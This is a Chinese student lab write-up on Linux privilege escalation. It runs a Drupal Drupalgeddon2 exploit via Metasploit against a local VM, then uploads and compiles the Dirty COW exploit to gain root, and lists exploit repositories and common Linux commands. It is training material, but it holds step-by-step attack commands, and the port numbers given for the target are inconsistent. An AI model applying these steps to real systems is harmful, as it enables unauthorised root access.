实训作业day10
一、提权案例
-
nmap扫描网段,找到案例的ip,浏览器打开可以看到案例的网页。进一步找到目标开发的端口:1989是web服务开发端口。
#namp 192.168.11.0/24 #namp -T4 1-65535 192.168.11.134
-
在IP后加上“:1989”可以打开登录页面,通过Wappalyzer插件可以发现内容管理系统是:Drupal。
-
下面使用msf提权。首先打开msf服务,搜索Drupal的漏洞。
#msfconsole #search drupal
-
使用日期较新的“exploit /unix/webapp/drupal_drupaldeddon2”提权模块,设置host和port参数,执行“run”进入工具载荷“meterpreter”。
#use exploit /unix/webapp/drupal_drupaldeddon2 #set rhosts 192.168.11.134 #set rport 1898 #run
-
输入“getuid”命令可以查看权限,目前是www-data,不是root权限。输入“shell”进入目标机的cmd shell。输入linux的常用命令可以查看用户和系统信息。
#whoami //查看当前用户 #cat /etc/os-release //查看系统信息
-
将下载的针对提权的扫描脚本(本次选择“linux-exploit-suggester”)的压缩包复制到kali桌面上并解压。
#unzip /root/Desktop/linux-exploit-suggester-master.zip /** 针对提权的扫描脚本 https://github.com/The-Z-Labs/linux-exploit-suggester -- shell脚本 https://github.com/belane/linux-soft-exploit-suggester -- python开发 https://github.com/liamg/traitor--go语言开发,可能需要先编译 https://github.com/jondonas/linux-exploit-suggester-2-- Perl语言开发 扫描提权一体化的扫描脚本 https://github.com/carlospolop/PEASS-ng--有多种编译方案 https://github.com/diego-treitos/linux-smart-enumeration -- shel1脚本 https://github.com/redcode-labs/Bashark -- shel1脚本 https://github.com/rebootuser/LinEnum -- shell脚本 **/
-
退出shell,返回到meterpreter里将脚本“linux-exploit-suggester.sh”上传到目标的/tmp,同时更名为hh.sh。
#exit #upload /root/Desktop/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/hh.sh
-
进入shell,进入tmp目录查看文件,确认脚本上传成功后添加执行权限。
#shell #cd /tmp #ls -la #chmod +x hh.sh
-
使用“ls -al”查看权限添加成功后,输入”./hh.sh“执行脚本。
-
选择找到的漏洞“CVE-2016-5195”,去网站“https://github.com/nomi-sec/PoC-in-GitHub/blob/master/2016/CVE-2016-5195.jsons”找到该漏洞的EXP下载。
-
解压EXP,退出shell,返回到meterpreter里将脚本dcow.cpp上传到目标的/tmp,同时更名为gg.cpp。
#unzip /root/Desktop/CVE-2016-5195-master.zip #exit #upload /root/Desktop/CVE-2016-5195-master/dcow.cpp /tmp/gg.cpp
-
进入shell,进入tmp目录查看文件,确认脚本上传成功。
#shell #cd /tmp #ls -al
-
编译文件,查看编译后的文件gg。运行编译文件,输入密码“dirtyCowFun“获得root权限。
#g++ -Wall -pedantic -O2 -std=c++11 -pthread -o gg gg.cpp -lutil #ls #./gg
二、Linux内核提权利用步骤
-
nmap端口扫描
- 发现目标主机的服务端口。
-
端口信息收集
- 对端口进行目录扫描可以发现搭建的框架。
-
Metasploit寻找利用exp
-
反弹shell
- 设置参数,运行msf,建立会话后可获得shell交互。
-
初级shell信息收集
- 可以通过常用命令收集系统、用户信息。
- 通过meterpreter上传提权的扫描脚本(linux-exploit-suggester、linux-exploit-suggester-2)到靶机,赋予执行权限并运行,可以发现内核漏洞。
-
内核提权漏洞寻找脚本
-
下面的项目都包含了大量漏洞脚本,根据漏洞编号获取EXP后上传到靶机编译运行。
https://github.com/Ascotbe/Kernelhub http://kernelhub.ascotbe.com/Windows/Docs/#/ https://github.com/SecWiki/windows-kernel-exploits https://github.com/nomi-sec/PoC-in-GitHub https://gitlab.com/exploit-database/exploitdb
-
三、Linux常用命令
命令 | 功能 |
---|---|
lsb_release -a/cat /etc/os-release | 查看ubuntu版本 |
cat /proc/version/uname –a | 看内核版本 |
cat /etc/group | 查看分组 |
adduser | 增加用户 |
usermod -g | 修改用户分组 |
find / -name 文件名 | 以文件名查找文件 |
ip addr | 查看ip地址 |
ifconfig | 查看当前网卡 |
lshw -c network | grep serial | 查看MAC地址 |
netstat -rn | 查看路由 |
df -h | 磁盘挂载情况 |
df -i | 查看每个硬盘分区的inode总数和已经使用的数量 |
vi 文件名 | 使用vi编辑器编辑文件 |
cat 文件名 | 查看文件内容 |
pwd | 显示工作路径 |
cp/mv 源文件路径 目标源文件路径 | 复制/移动文件 |
cd/mkdir/rm 目录路径 | 切换/创建/删除目录 |
ls | 查看目录中的文件 |
chmod +/- x 文件名 | 给文件增加/减少执行权限 |